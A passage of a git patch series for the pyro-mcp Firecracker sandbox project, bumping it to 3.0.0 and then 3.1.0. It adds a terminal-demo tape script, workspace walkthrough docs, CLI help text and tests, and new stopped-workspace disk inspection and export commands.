z@AhV8b20s#FP(S8X58q`2WrNE6j9lvXHKh%hXY2M#2f%7e_#ttL*DIszIv+fHu{DS zeEcF|padJSu0dSZaxZes27}D^o>#9#H-kf}gh`GT3&>6&u}-N*nhoi`E`UqzMl$E9b>N7_9;4149g l@1&)Jg}N?xi)27xUK=|I+*x{{YO7DkcB` literal 0 HcmV?d00001 diff --git a/docs/assets/workspace-first-run.tape b/docs/assets/workspace-first-run.tape new file mode 100644 index 0000000..f7fa7da --- /dev/null +++ b/docs/assets/workspace-first-run.tape @@ -0,0 +1,98 @@ +Output docs/assets/workspace-first-run.gif + +Require uv +Require python3 + +Set Shell "zsh" +Set FontSize 18 +Set Width 1400 +Set Height 860 +Set Theme "Dracula" +Set TypingSpeed 35ms +Set Padding 24 +Set WindowBar Colorful + +Hide +Type "cd /home/thales/projects/personal/pyro" +Enter +Type "setopt interactivecomments" +Enter +Type "export UV_CACHE_DIR=.uv-cache" +Enter +Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)" +Enter +Type "alias pyro='uv run pyro'" +Enter +Type "SEED_DIR=$(mktemp -d)" +Enter +Type "SYNC_DIR=$(mktemp -d)" +Enter +Type "EXPORT_DIR=$(mktemp -d)" +Enter +Type 'printf "%s\n" "hello from seed" > "$SEED_DIR/note.txt"' +Enter +Type 'printf "%s\n" "hello from sync" > "$SYNC_DIR/note.txt"' +Enter +Type "pyro env pull debian:12 >/dev/null" +Enter +Show + +Type "# Create a stable workspace from host content and capture its id" +Enter +Sleep 700ms +Type 'pyro workspace create debian:12 --seed-path "$SEED_DIR" --json | tee /tmp/pyro-workspace.json' +Enter +Sleep 2200ms + +Hide +Type 'export WORKSPACE_ID=$(python3 -c "import json; print(json.load(open(\"/tmp/pyro-workspace.json\", encoding=\"utf-8\"))[\"workspace_id\"])")' +Enter +Show + +Type "# Push a later host-side change into the same workspace" +Enter +Sleep 700ms +Type 'pyro workspace sync push "$WORKSPACE_ID" "$SYNC_DIR"' +Enter +Sleep 1800ms + +Type "# Run inside the live workspace" +Enter +Sleep 700ms +Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' +Enter +Sleep 2000ms + +Type "# Capture a checkpoint, then start one long-running service" +Enter +Sleep 700ms +Type 'pyro workspace snapshot create "$WORKSPACE_ID" checkpoint' +Enter +Sleep 1800ms +Type 'pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc "touch .web-ready && while true; do sleep 60; done"' +Enter +Sleep 2200ms + +Type "# Reset the full sandbox back to that checkpoint" +Enter +Sleep 700ms +Type 'pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint' +Enter +Sleep 2200ms + +Type "# Export one file back to the host and inspect it locally" +Enter +Sleep 700ms +Type 'pyro workspace export "$WORKSPACE_ID" note.txt --output "$EXPORT_DIR/note.txt"' +Enter +Sleep 1800ms +Type 'cat "$EXPORT_DIR/note.txt"' +Enter +Sleep 1800ms + +Type "# Remove the workspace when the loop is done" +Enter +Sleep 700ms +Type 'pyro workspace delete "$WORKSPACE_ID"' +Enter +Sleep 2000ms diff --git a/docs/first-run.md b/docs/first-run.md index b6b20b4..cdd5be3 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.10.0 +Catalog version: 3.0.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -66,7 +66,25 @@ The guest command output and the `[run] ...` summary are written to different st may appear in either order in terminals or capture tools. Use `--json` if you need a deterministic structured result. -## 5. Optional next steps +## 5. Continue into the stable workspace path + +The commands below use the published-package form. The same stable workspace path works with an +installed `pyro` binary by dropping the `uvx --from pyro-mcp` prefix, or with `uv run pyro` from +a source checkout. + +```bash +$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --json | tee /tmp/pyro-workspace.json +$ export WORKSPACE_ID="$(python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])' < /tmp/pyro-workspace.json)" +$ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes +$ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt +$ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint +$ uvx --from pyro-mcp pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +$ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint +$ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +$ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" +``` + +## 6. Optional one-shot demo and expanded workspace flow ```bash $ uvx --from pyro-mcp pyro demo @@ -187,7 +205,7 @@ $ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID worker Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.10.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the @@ -203,6 +221,10 @@ materialized at `/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_V secret into one exec, shell, or service call without storing that environment mapping on the workspace itself. +The stable workspace walkthrough GIF in the README is rendered from +[docs/assets/workspace-first-run.tape](assets/workspace-first-run.tape) with +[scripts/render_tape.sh](../scripts/render_tape.sh). + Example output: ```json diff --git a/docs/install.md b/docs/install.md index 10c9742..9e1e1d5 100644 --- a/docs/install.md +++ b/docs/install.md @@ -55,6 +55,8 @@ pyro run debian:12 -- git --version If you are running from a repo checkout instead, replace `pyro` with `uv run pyro`. +After that one-shot proof works, continue into the stable workspace path with `pyro workspace ...`. + ### 1. Check the host first ```bash @@ -83,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.10.0 +Catalog version: 3.0.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -131,7 +133,34 @@ deterministic structured result. If guest execution is unavailable, the command fails unless you explicitly pass `--allow-host-compat`. -## 5. Optional demo proof point +## 5. Continue into the stable workspace path + +The commands below use plain `pyro ...`. Run the same flow with `uvx --from pyro-mcp pyro ...` +for the published package, or `uv run pyro ...` from a source checkout. + +```bash +uv tool install pyro-mcp +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +pyro workspace sync push "$WORKSPACE_ID" ./changes +pyro workspace exec "$WORKSPACE_ID" -- cat note.txt +pyro workspace snapshot create "$WORKSPACE_ID" checkpoint +pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint +pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +pyro workspace delete "$WORKSPACE_ID" +``` + +This is the stable persistent-workspace contract: + +- `workspace create` seeds `/workspace` +- `workspace sync push` imports later host-side changes +- `workspace exec` and `workspace shell *` keep work inside one sandbox +- `workspace service *` manages long-running processes with typed readiness +- `workspace snapshot *` and `workspace reset` make reset-over-repair explicit +- `workspace diff` compares against the immutable create-time baseline +- `workspace export` copies results back to the host + +## 6. Optional demo proof point ```bash uvx --from pyro-mcp pyro demo @@ -188,7 +217,7 @@ After the CLI path works, you can move on to: - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` -## Persistent Workspace +## Stable Workspace Use `pyro workspace ...` when you need repeated commands in one sandbox instead of one-shot `pyro run`. @@ -225,7 +254,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index f263c61..ecfd18f 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -7,7 +7,8 @@ CLI path in [install.md](install.md) or [first-run.md](first-run.md). ## Recommended Default -Use `vm_run` first for one-shot commands. +Use `vm_run` first for one-shot commands, then move to the stable workspace surface when the +agent needs to inhabit one sandbox across multiple calls. That keeps the model-facing contract small: @@ -16,8 +17,8 @@ That keeps the model-facing contract small: - one ephemeral VM - automatic cleanup -Move to `workspace_*` only when the agent truly needs repeated commands in one workspace across -multiple calls. +Move to `workspace_*` when the agent needs repeated commands, shells, services, snapshots, reset, +diff, or export in one stable workspace across multiple calls. ## OpenAI Responses API diff --git a/docs/public-contract.md b/docs/public-contract.md index 1319cb1..3d70ab4 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -1,6 +1,6 @@ # Public Contract -This document defines the supported public interface for `pyro-mcp` `2.x`. +This document defines the stable public interface for `pyro-mcp` `3.x`. ## Package Identity @@ -9,6 +9,11 @@ This document defines the supported public interface for `pyro-mcp` `2.x`. - Public Python import: `from pyro_mcp import Pyro` - Public package-level factory: `from pyro_mcp import create_server` +Stable product framing: + +- `pyro run` is the stable one-shot entrypoint. +- `pyro workspace ...` is the stable persistent workspace contract. + ## CLI Contract Top-level commands: diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index 081b34f..d824f4a 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,7 +2,7 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.10.0`: +Current baseline is `3.0.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding, later sync push, and explicit export @@ -37,16 +37,13 @@ also expected to update: 5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done 6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done 7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done -8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) +8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done 9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) -## Definition Of Done For The Roadmap +## Remaining Follow-Up -The workspace product is ready to leave beta when: +The core workspace product is now stable. The remaining planned follow-up is intentionally +secondary: -- the public contract is workspace-first rather than task-first -- an agent can inhabit a sandbox through shell, exec, service, diff, export, - snapshot, reset, and explicit host-crossing operations -- the main docs lead with the workspace product, not one-shot VM execution -- the remaining deliberate deferrals are secondary disk tools rather than core - workspace features +- `3.1.0` secondary disk tools for offline inspection and disk-level workflows +- no further roadmap milestone changes the stable workspace-first core contract diff --git a/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md index 44a9de7..5eb1c93 100644 --- a/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md +++ b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md @@ -1,5 +1,7 @@ # `3.0.0` Stable Workspace Product +Status: Done + ## Goal Freeze the workspace-first public contract and promote the product from a diff --git a/pyproject.toml b/pyproject.toml index 84f27dc..9987a30 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,7 +1,7 @@ [project] name = "pyro-mcp" -version = "2.10.0" -description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." +version = "3.0.0" +description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } authors = [ diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 9e6e365..6984aec 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -458,7 +458,7 @@ class _HelpFormatter( def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( description=( - "Run ephemeral Firecracker microVM workflows from the CLI on supported " + "Run stable one-shot and persistent workspace workflows on supported " "Linux x86_64 KVM hosts." ), epilog=dedent( @@ -469,14 +469,17 @@ def _build_parser() -> argparse.ArgumentParser: pyro env pull debian:12 pyro run debian:12 -- git --version - Need repeated commands in one workspace after that? + Continue into the stable workspace path after that: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace exec WORKSPACE_ID -- cat note.txt pyro workspace diff WORKSPACE_ID - pyro workspace export WORKSPACE_ID note.txt --output ./note.txt + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace shell open WORKSPACE_ID pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace export WORKSPACE_ID note.txt --output ./note.txt Use `pyro mcp serve` only after the CLI validation path works. """ @@ -675,8 +678,8 @@ def _build_parser() -> argparse.ArgumentParser: "workspace", help="Manage persistent workspaces.", description=( - "Create a persistent workspace when you need repeated commands in one " - "sandbox instead of one-shot `pyro run`." + "Use the stable workspace contract when you need one sandbox to stay alive " + "across repeated exec, shell, service, diff, export, snapshot, and reset calls." ), epilog=dedent( """ @@ -692,6 +695,9 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' pyro workspace logs WORKSPACE_ID + + `pyro run` remains the fastest one-shot proof. `pyro workspace ...` is the + stable path when an agent needs to inhabit one sandbox over time. """ ), formatter_class=_HelpFormatter, @@ -704,7 +710,10 @@ def _build_parser() -> argparse.ArgumentParser: workspace_create_parser = workspace_subparsers.add_parser( "create", help="Create and start a persistent workspace.", - description="Create a persistent workspace that stays alive across repeated exec calls.", + description=( + "Create and start a stable persistent workspace that stays alive across repeated " + "exec, shell, service, diff, export, snapshot, and reset calls." + ), epilog=dedent( """ Examples: diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 0a248c3..1cedeeb 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.10.0" +DEFAULT_CATALOG_VERSION = "3.0.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", @@ -48,7 +48,7 @@ class VmEnvironment: oci_repository: str | None = None oci_reference: str | None = None source_digest: str | None = None - compatibility: str = ">=2.0.0,<3.0.0" + compatibility: str = ">=3.0.0,<4.0.0" @dataclass(frozen=True) diff --git a/tests/test_cli.py b/tests/test_cli.py index 56791ac..609abb2 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -31,6 +31,10 @@ def test_cli_help_guides_first_run() -> None: assert "pyro env list" in help_text assert "pyro env pull debian:12" in help_text assert "pyro run debian:12 -- git --version" in help_text + assert "Continue into the stable workspace path after that:" in help_text + assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in help_text + assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in help_text + assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in help_text assert "pyro workspace sync push WORKSPACE_ID ./changes" in help_text assert "Use `pyro mcp serve` only after the CLI validation path works." in help_text @@ -62,6 +66,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help workspace_help = _subparser_choice(parser, "workspace").format_help() + assert "stable workspace contract" in workspace_help assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help assert "pyro workspace exec WORKSPACE_ID" in workspace_help @@ -2569,7 +2574,7 @@ def test_cli_workspace_exec_json_error_exits_nonzero( def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str]) -> None: cli._print_env_list_human( { - "catalog_version": "2.0.0", + "catalog_version": "3.0.0", "environments": [ {"name": "debian:12", "installed": True, "description": "Git environment"}, "ignored", @@ -2615,7 +2620,7 @@ def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str } ) captured = capsys.readouterr().out - assert "Catalog version: 2.0.0" in captured + assert "Catalog version: 3.0.0" in captured assert "debian:12 [installed] Git environment" in captured assert "Install manifest: /cache/linux-x86_64/debian_12-1.0.0/environment.json" in captured assert "Deleted 2 cached environment entries." in captured @@ -2624,7 +2629,7 @@ def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str def test_print_env_list_human_handles_empty(capsys: pytest.CaptureFixture[str]) -> None: - cli._print_env_list_human({"catalog_version": "2.0.0", "environments": []}) + cli._print_env_list_human({"catalog_version": "3.0.0", "environments": []}) output = capsys.readouterr().out assert "No environments found." in output diff --git a/uv.lock b/uv.lock index 7583706..bf70717 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.10.0" +version = "3.0.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 287f6d100fae11fafa71c7ede4a9ed2dd43e7384 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 20:57:16 -0300 Subject: [PATCH 24/49] Add stopped-workspace disk export and inspection Finish the 3.1.0 secondary disk-tools milestone so stable workspaces can be stopped, inspected offline, exported as raw ext4 images, and started again without changing the primary workspace-first interaction model. Add workspace stop/start plus workspace disk export/list/read across the CLI, SDK, and MCP, backed by a new offline debugfs inspection helper and guest-only validation. Scrub runtime-only guest state before disk inspection/export, and fix the real guest reliability gaps by flushing the filesystem on stop and removing stale Firecracker socket files before restart. Update the docs, examples, changelog, and roadmap to mark 3.1.0 done, and cover the new lifecycle/disk paths with API, CLI, manager, contract, and package-surface tests. Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed smoke for create, shell/service activity, stop, workspace disk list/read/export, start, exec, and delete. --- CHANGELOG.md | 11 + README.md | 20 +- docs/first-run.md | 34 +- docs/install.md | 15 +- docs/integrations.md | 4 + docs/public-contract.md | 38 ++ docs/roadmap/task-workspace-ga.md | 14 +- .../3.1.0-secondary-disk-tools.md | 45 +- examples/python_workspace.py | 12 + pyproject.toml | 2 +- src/pyro_mcp/api.py | 87 +++ src/pyro_mcp/cli.py | 268 ++++++++ src/pyro_mcp/contract.py | 20 + src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 248 +++++++ src/pyro_mcp/workspace_disk.py | 264 ++++++++ tests/test_api.py | 605 ++++++++++++++++++ tests/test_cli.py | 222 +++++++ tests/test_doctor.py | 7 + tests/test_package_surface.py | 67 ++ tests/test_public_contract.py | 35 + tests/test_runtime_boot_check.py | 33 +- tests/test_server.py | 5 + tests/test_vm_manager.py | 301 +++++++++ tests/test_workspace_disk.py | 258 ++++++++ uv.lock | 2 +- 26 files changed, 2585 insertions(+), 34 deletions(-) create mode 100644 src/pyro_mcp/workspace_disk.py create mode 100644 tests/test_package_surface.py create mode 100644 tests/test_workspace_disk.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 9d204a3..27b4d47 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,17 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.1.0 + +- Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP + server so a persistent workspace can be paused and resumed without resetting `/workspace`, + snapshots, or command history. +- Added secondary stopped-workspace disk tools with raw ext4 export plus offline `disk list` and + `disk read` inspection for guest-backed workspaces. +- Scrubbed guest runtime-only paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and + `/run/pyro-services` before stopped-workspace disk export and offline inspection so those tools + stay secondary to the stable workspace product without leaking runtime-only state. + ## 3.0.0 - Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP diff --git a/README.md b/README.md index b0886c1..674dedd 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.0.0: [CHANGELOG.md#300](CHANGELOG.md#300) +- What's new in 3.1.0: [CHANGELOG.md#310](CHANGELOG.md#310) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -58,7 +58,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.0.0 +Catalog version: 3.1.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -107,6 +107,7 @@ That stable workspace path gives you: - full-sandbox recovery with `workspace reset` - baseline comparison with `workspace diff` - explicit host-out export with `workspace export` +- secondary stopped-workspace disk inspection with `workspace stop|start` and `workspace disk *` After the quickstart works: @@ -123,6 +124,8 @@ After the quickstart works: - open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` - start long-running workspace services with `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - publish one guest service port to the host with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports` and `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` +- stop a workspace for offline inspection with `uvx --from pyro-mcp pyro workspace stop WORKSPACE_ID` +- inspect or export one stopped guest rootfs with `uvx --from pyro-mcp pyro workspace disk list WORKSPACE_ID`, `uvx --from pyro-mcp pyro workspace disk read WORKSPACE_ID note.txt`, and `uvx --from pyro-mcp pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -176,7 +179,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.0.0 +Catalog version: 3.1.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -275,6 +278,11 @@ pyro workspace service status WORKSPACE_ID web pyro workspace service logs WORKSPACE_ID web --tail-lines 50 pyro workspace service stop WORKSPACE_ID web pyro workspace service stop WORKSPACE_ID worker +pyro workspace stop WORKSPACE_ID +pyro workspace disk list WORKSPACE_ID +pyro workspace disk read WORKSPACE_ID src/note.txt +pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 +pyro workspace start WORKSPACE_ID pyro workspace logs WORKSPACE_ID pyro workspace delete WORKSPACE_ID ``` @@ -283,7 +291,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.0.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.1.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -301,7 +309,9 @@ service must be probed from the host on `127.0.0.1`. Use `--secret` and `--secret-file` at workspace creation when the sandbox needs private tokens or config. Persisted secrets are materialized inside the guest at `/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_VAR]` maps one secret into one exec, shell, or service call without -exposing the raw value in workspace status, logs, diffs, or exports. +exposing the raw value in workspace status, logs, diffs, or exports. Use `pyro workspace stop` +plus `pyro workspace disk list|read|export` when you need offline inspection or one raw ext4 copy +from a stopped guest-backed workspace, then `pyro workspace start` to resume the same workspace. ## Public Interfaces diff --git a/docs/first-run.md b/docs/first-run.md index cdd5be3..82216f3 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.0.0 +Catalog version: 3.1.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -81,6 +81,11 @@ $ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint $ uvx --from pyro-mcp pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' $ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint $ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +$ uvx --from pyro-mcp pyro workspace stop "$WORKSPACE_ID" +$ uvx --from pyro-mcp pyro workspace disk list "$WORKSPACE_ID" +$ uvx --from pyro-mcp pyro workspace disk read "$WORKSPACE_ID" note.txt +$ uvx --from pyro-mcp pyro workspace disk export "$WORKSPACE_ID" --output ./workspace.ext4 +$ uvx --from pyro-mcp pyro workspace start "$WORKSPACE_ID" $ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" ``` @@ -200,12 +205,33 @@ $ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID web $ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID worker [workspace-service-stop] workspace_id=... service=worker state=stopped execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace stop WORKSPACE_ID +Workspace ID: ... +State: stopped + +$ uvx --from pyro-mcp pyro workspace disk list WORKSPACE_ID src --recursive +Workspace: ... +Path: /workspace/src +- /workspace/src [directory] +- /workspace/src/note.txt [file] bytes=... + +$ uvx --from pyro-mcp pyro workspace disk read WORKSPACE_ID src/note.txt +hello from synced workspace +[workspace-disk-read] workspace_id=... path=/workspace/src/note.txt size_bytes=... truncated=False + +$ uvx --from pyro-mcp pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 +[workspace-disk-export] workspace_id=... output_path=... disk_format=ext4 bytes_written=... + +$ uvx --from pyro-mcp pyro workspace start WORKSPACE_ID +Workspace ID: ... +State: started ``` Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.0.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.1.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the @@ -219,7 +245,9 @@ service must be reachable from the host on `127.0.0.1`. Use `--secret` and `--se workspace creation when the sandbox needs private tokens or config. Persisted secret files are materialized at `/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_VAR]` maps one secret into one exec, shell, or service call without storing that environment mapping on the -workspace itself. +workspace itself. Use `pyro workspace stop` plus `pyro workspace disk list|read|export` when you +need offline inspection or one raw ext4 copy from a stopped guest-backed workspace, then +`pyro workspace start` to resume the same workspace. The stable workspace walkthrough GIF in the README is rendered from [docs/assets/workspace-first-run.tape](assets/workspace-first-run.tape) with diff --git a/docs/install.md b/docs/install.md index 9e1e1d5..092fcc4 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.0.0 +Catalog version: 3.1.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -159,6 +159,7 @@ This is the stable persistent-workspace contract: - `workspace snapshot *` and `workspace reset` make reset-over-repair explicit - `workspace diff` compares against the immutable create-time baseline - `workspace export` copies results back to the host +- `workspace stop|start` and `workspace disk *` add secondary stopped-workspace inspection and raw ext4 export ## 6. Optional demo proof point @@ -210,6 +211,7 @@ After the CLI path works, you can move on to: - baseline diff: `pyro workspace diff 